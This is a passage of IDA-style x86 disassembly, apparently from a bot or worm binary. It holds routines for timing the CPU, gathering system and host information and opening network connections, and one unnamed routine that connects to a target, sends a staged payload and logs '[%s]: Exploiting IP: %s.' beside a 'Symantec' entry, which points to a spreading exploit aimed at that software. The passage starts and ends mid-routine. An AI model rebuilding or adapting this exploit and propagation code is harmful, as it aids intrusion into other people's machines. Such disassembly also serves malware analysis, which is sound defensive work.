		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26803E7h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DBD8
		mov	[ebp+var_CC], 94h
		call	near ptr 26D0501h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431630


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43162C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431628
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431614


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436C04
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383FC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB904
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA64
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB9DC
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43ACC8
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2750000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2860000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43ABEC
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBB0C, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB8E8
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43AD40
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43AD38
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43AD34


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43AD30
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43ACEC
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43AE20
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB920
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB9D4
		call	dword_4CB9F8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB998
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43AE04
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43ADC8
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43ADAC
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD80
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD50


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA58
		push	[ebp+var_4]
		call	dword_4CBA58
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBD1C
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBE24
		lea	edi, [ebp+var_C]
		mov	ax, word_43AE24
		movsd
		movsb
		mov	esi, offset dword_4DBE1C
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346F4
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB8DC
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA74
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA74


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA74
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA74
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA74


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43AE3C
		lea	edi, [ebp-38h]
		mov	ax, word_4346F4
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43AE38
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBE24
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43AE34
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43AE30
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43AE2C
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBAA4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBABC


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA64
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CBA24
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CBA3C
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA74
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA74
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBABC
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA74
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBD1C
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBD1C[eax]
		push	eax
		push	offset dword_43AE28
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBABC
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431810[eax]
		push	1
		lea	eax, dword_431810[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


